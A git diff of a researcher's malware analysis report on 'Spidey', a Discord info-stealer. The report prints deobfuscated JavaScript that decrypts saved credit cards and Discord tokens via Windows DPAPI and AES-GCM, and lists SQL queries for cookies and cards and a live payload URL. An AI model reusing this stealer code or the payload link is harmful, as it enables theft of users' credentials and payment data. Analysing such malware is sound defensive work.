Update 'Report.md'
This commit is contained in:
parent
baa36b8b3a
commit
19cfd7227d
106
Report.md
106
Report.md
|
|
@ -1,11 +1,9 @@
|
|||
# Spidey Malware
|
||||
## Context
|
||||
Spidey is a Malware-as-a-service type of virus, coded by an unknown hacker, maybe someone going by the nickname ``Epsilon``, due to its overuse in the source code ? (e.g `̀COOKIES FROM: ' + ⵂⵐⵊⵔ + ' #EPSILON`). This could however be totally unrelated.
|
||||
|
||||
This virus is then sold to other threat actors, encoded and compacted in an ElectronJS app. At the time of deployment the ̀`.exe` is not detected on virus total.
|
||||
Spidey is a Malware-as-a-service type of virus, coded by an unknown source. This virus sold to other threat actors, encoded (beforehand?) and compacted in an ElectronJS app. At the time of deployment the ̀`.exe` was not detected on Virus total.
|
||||
|
||||
## Encounter
|
||||
Encountered in the wild via a third party who got infected and tried to send me the link via message. The third party promptly realised something was afoot, tried to re-log upon having been disconnected and realised a 2FA had been set and they were now locked outside their account. Another third party then got infected in turn, and promptly got notified of a couple of payments for two Discord nitro gift cards and realised their discord had been compromised through similar means (This part is probably to setup a discord nitro scam but I never got to witness it).
|
||||
This piece of malware was encountered in the wild via a third party who got infected and tried to send me the link via message. The third party promptly realised something was afoot, tried to re-log upon having been disconnected and realised a 2FA had been set and they were now locked outside their account. Another third party then got infected in turn, and promptly got notified of a couple of payments for two Discord nitro gift cards and realised their discord had been compromised through similar means.
|
||||
|
||||
## Behaviour
|
||||
During the whole process the attacker interacted via Discord messages with other victims through a simple social enginering attack. When caught and publicly outed on a server he then promptly tried to convince other victims he was the real owner of the account, and not in fact a hacker.
|
||||
|
|
@ -80,7 +78,6 @@ The webhook of the discord bot, still active at the time of writing this report.
|
|||
* Server hosting the bot and channel.
|
||||
* Created: Fri, 10 Jun 2022 20:53:28 UTC
|
||||
|
||||
|
||||
# Security assessment
|
||||
## Credentials Extra
|
||||
Through the exploitation of various windows vulnerabilities and piss-poor security implementations, many other services are also targeted.
|
||||
|
|
@ -113,44 +110,43 @@ The official windows credential manager is scanned leveraging the discord instal
|
|||
* ``SELECT host_key, name, encrypted_value FROM cookies``
|
||||
* ``SELECT card_number_encrypted,expiration_month,expiration_year,name_on_card FROM credit_cards``
|
||||
|
||||
However unless the windows master key is exposed (through one of the above exploits), the only vector of exploitation is password reuse or a trivial enough password, as far as I know.
|
||||
|
||||
However the following snipplet doesn't seems to show any sign of external password guess, leading to a (possibly) undisclosed bad implementation of WinDPAPI from Discord. Any additional input on this particular behaviour is very welcome. [Permalink](http://proxy.dandaedre.com/gitea/Dandaedre/Desobfuscating-Spidey/src/commit/ea0c147866ac4b1d44b9bdbeb7637d6dc6476245/phase2.js#L225)
|
||||
However unless the windows master key is exposed (through one of the above exploits), the only vector of exploitation is password reuse or a trivial enough password.
|
||||
|
||||
[Permalink](http://proxy.dandaedre.com/gitea/Dandaedre/Desobfuscating-Spidey/src/commit/ea0c147866ac4b1d44b9bdbeb7637d6dc6476245/phase2.js#L225)
|
||||
```js
|
||||
async function get_credit_card_info() {
|
||||
...
|
||||
for (let i = (0); i < LIST_DISCORD_PATHS['length']; i++) {
|
||||
if (discord_path['includes']('cord')) continue;
|
||||
if (req_fs['existsSync'](discord_path + 'Web Data')) {
|
||||
...
|
||||
let buffer_json_key = Buffer['from'](JSON['parse'](req_fs['readFileSync'](fixed_path + 'Local State'))['os_crypt']['encrypted_key'], 'base64')['slice'](5);
|
||||
...
|
||||
let buffer_unprotected = req_win_dpapi['unprotectData'](Buffer['from'](buffer_json_key, 'utf-8'), null, 'CurrentUser');
|
||||
write_stream['write']('
|
||||
...
|
||||
for (let i = (0); i < LIST_DISCORD_PATHS['length']; i++) {
|
||||
if (discord_path['includes']('cord')) continue;
|
||||
if (req_fs['existsSync'](discord_path + 'Web Data')) {
|
||||
...
|
||||
let buffer_json_key = Buffer['from'](JSON['parse'](req_fs['readFileSync'](fixed_path + 'Local State'))['os_crypt']['encrypted_key'], 'base64')['slice'](5);
|
||||
...
|
||||
let buffer_unprotected = req_win_dpapi['unprotectData'](Buffer['from'](buffer_json_key, 'utf-8'), null, 'CurrentUser');
|
||||
write_stream['write']('
|
||||
CREDIT CARDS FROM: ' + discord_path + ' #EPSILON
|
||||
');
|
||||
buffer_json_key = req_sqlite(tmp_web_data);
|
||||
let request_sql = buffer_json_key['prepare']('SELECT card_number_encrypted,expiration_month,expiration_year,name_on_card FROM credit_cards')['all']();
|
||||
if (request_sql != undefined) {
|
||||
for (var element_sql of request_sql) {
|
||||
if (element_sql['card_number_encrypted'] != '') {
|
||||
let card_encryption = element_sql['card_number_encrypted'];
|
||||
try {
|
||||
if ((card_encryption[(0)] == (1)) && (card_encryption[(1)] == (0)) && (card_encryption[(2)] == (0)) && (card_encryption[(3)] == (0))) {
|
||||
write_stream['write']('===========================================================================
|
||||
buffer_json_key = req_sqlite(tmp_web_data);
|
||||
let request_sql = buffer_json_key['prepare']('SELECT card_number_encrypted,expiration_month,expiration_year,name_on_card FROM credit_cards')['all']();
|
||||
if (request_sql != undefined) {
|
||||
for (var element_sql of request_sql) {
|
||||
if (element_sql['card_number_encrypted'] != '') {
|
||||
let card_encryption = element_sql['card_number_encrypted'];
|
||||
try {
|
||||
if ((card_encryption[(0)] == (1)) && (card_encryption[(1)] == (0)) && (card_encryption[(2)] == (0)) && (card_encryption[(3)] == (0))) {
|
||||
write_stream['write']('===========================================================================
|
||||
Name On Card: ' + element_sql['name_on_card'] + '
|
||||
Credit Card Number: ' + req_win_dpapi['unprotectData'](card_encryption, null, 'CurrentUser')['toString']('utf-8') + '
|
||||
Expiration Date: ' + element_sql['expiration_month'] + '/' + element_sql['expiration_year'] + '
|
||||
===========================================================================
|
||||
');
|
||||
} else {
|
||||
let card_encription_formated = card_encryption['slice'](3, 15);
|
||||
let card_aes_dec = card_encryption['slice'](15, card_encryption['length'] - 1);
|
||||
let card_aes_auth = card_encryption['slice'](card_encryption['length'] - 1, card_encryption['length']);
|
||||
let aes_decipher = req_crypto['createDecipheriv']('aes-256-gcm', buffer_unprotected, card_encription_formated);
|
||||
aes_decipher['setAuthTag'](card_aes_auth);
|
||||
write_stream['write']('===========================================================================
|
||||
} else {
|
||||
let card_encription_formated = card_encryption['slice'](3, 15);
|
||||
let card_aes_dec = card_encryption['slice'](15, card_encryption['length'] - 1);
|
||||
let card_aes_auth = card_encryption['slice'](card_encryption['length'] - 1, card_encryption['length']);
|
||||
let aes_decipher = req_crypto['createDecipheriv']('aes-256-gcm', buffer_unprotected, card_encription_formated);
|
||||
aes_decipher['setAuthTag'](card_aes_auth);
|
||||
write_stream['write']('===========================================================================
|
||||
Name On Card: ' + element_sql['name_on_card'] + '
|
||||
Credit Card Number: ' + aes_decipher['update'](card_aes_dec, 'base64', 'utf-8') + aes_decipher['final']('utf-8') + '
|
||||
Expiration Date: ' + element_sql['expiration_month'] + '/' + element_sql['expiration_year'] + '
|
||||
|
|
@ -159,7 +155,7 @@ Expiration Date: ' + element_sql['expiration_month'] + '/' + element_sql['expira
|
|||
}}}}}}}}}
|
||||
```
|
||||
|
||||
If an actual password cracking exists it is very likely in the payload : https://everlasting-swanky-comma.glitch.me/tiktoked.js or the encrypted m0Xe function.
|
||||
If an actual password cracking exists it is very likely in the payload : https://everlasting-swanky-comma.glitch.me/tiktoked.js or the encrypted m0Xe function. Any additional input on this part would be very welcome.
|
||||
|
||||
Sources:
|
||||
* https://en.wikipedia.org/wiki/Data_Protection_API
|
||||
|
|
@ -180,28 +176,38 @@ The AES implementation of the token encryption is ... subpar. Leading to a trivi
|
|||
|
||||
* The script is looking for this regex in the .log files ``'dQw4w9WgXcQ:[^.*\\['(.*)'\\].*$][^\\"]*'`` and using it to extract the aes256 key.
|
||||
|
||||
Snipplet
|
||||
[Snipplet](http://proxy.dandaedre.com/gitea/Dandaedre/Desobfuscating-Spidey/src/commit/baa36b8b3abe5d5ba3c4701325947b700e92e720/phase2.js#L385)
|
||||
```js
|
||||
(list_of_files['endsWith']('.log') || list_of_files['endsWith']('.ldb')) && req_fs['readFileSync'](base_path + '\\' + list_of_files, 'utf8')['split'](/\r?\n/)['forEach'](new_line => {
|
||||
const rickrolled = [new RegExp('dQw4w9WgXcQ:[^.*\\['(.*)'\\].*$][^\\"]*')];
|
||||
for (const rick of rickrolled) {
|
||||
const yes_rick = new_line['match'](rick);
|
||||
if (yes_rick) {
|
||||
yes_rick['forEach'](mini_rick => {
|
||||
let auth_tag = Buffer['from'](mini_rick['split']('dQw4w9WgXcQ:')[(1)], 'base64');
|
||||
let main_key = auth_tag['slice'](3, 15);
|
||||
let base_64_id = auth_tag['slice'](15, auth_tag['length'] - 1);
|
||||
let c_tag = auth_tag['slice'](auth_tag['length'] - 1, auth_tag['length']);
|
||||
let decypher_id = req_crypto['createDecipheriv']('aes-256-gcm', decrypt_method, main_key);
|
||||
decypher_id['setAuthTag'](c_tag);
|
||||
let decypher = decypher_id['update'](base_64_id, 'base64', 'utf-8') + decypher_id['final']('utf-8');
|
||||
result['push'](decypher);
|
||||
});
|
||||
}
|
||||
const rickrolled = [new RegExp('dQw4w9WgXcQ:[^.*\\['(.*)'\\].*$][^\\"]*')];
|
||||
for (const rick of rickrolled) {
|
||||
const yes_rick = new_line['match'](rick);
|
||||
if (yes_rick) {
|
||||
yes_rick['forEach'](mini_rick => {
|
||||
let auth_tag = Buffer['from'](mini_rick['split']('dQw4w9WgXcQ:')[(1)], 'base64');
|
||||
let main_key = auth_tag['slice'](3, 15);
|
||||
let base_64_id = auth_tag['slice'](15, auth_tag['length'] - 1);
|
||||
let c_tag = auth_tag['slice'](auth_tag['length'] - 1, auth_tag['length']);
|
||||
let decypher_id = req_crypto['createDecipheriv']('aes-256-gcm', decrypt_method, main_key);
|
||||
decypher_id['setAuthTag'](c_tag);
|
||||
let decypher = decypher_id['update'](base_64_id, 'base64', 'utf-8') + decypher_id['final']('utf-8');
|
||||
result['push'](decypher);
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
## Afterthoughs
|
||||
### Who or what is Epsilon ?
|
||||
The Name `Epsilon` is often reused in the source code (e.g `COOKIES FROM: ' + ⵂⵐⵊⵔ + ' #EPSILON`). This could be the internal name of this particular implementation of the malware, the hacker's nickname, or of course, be totally unrelated.
|
||||
|
||||
### The usage of Discord Nitro gift cards
|
||||
In the very first minutes of the exploit, one of the victims realised his paypal subscription was used to buy discord nitro subscriptions. This part is probably to setup a discord nitro scam but could just be a trolling attempt or just sheer enjoyment of a newly acquired tool. As of my knowledge discord cancelled the payment and refunded the gift cards, but there maybe were instances where the cards were not refunded.
|
||||
|
||||
### The credit card stealing mistery
|
||||
In theory it remains impossible to simply guess the Windows DPAPI master key, though it is possible to scan entries hoping for an unsecured password somewhere. However during my code examination I coulndt find any sign of external password guess, leading to a (possibly) undisclosed bad implementation of WinDPAPI from Discord, or simply a more nefarious password cracker in the payload (tiktoked.js).
|
||||
|
||||
### Other Ressources
|
||||
* https://github.com/LocalsGitHub/Decrypt-Discord-Token/blob/main/decrypt.py
|
||||
* https://www.zscaler.com/blogs/security-research/discord-cdn-popular-choice-hosting-malicious-payloads
|
||||
|
|
|
|||
Reference in New Issue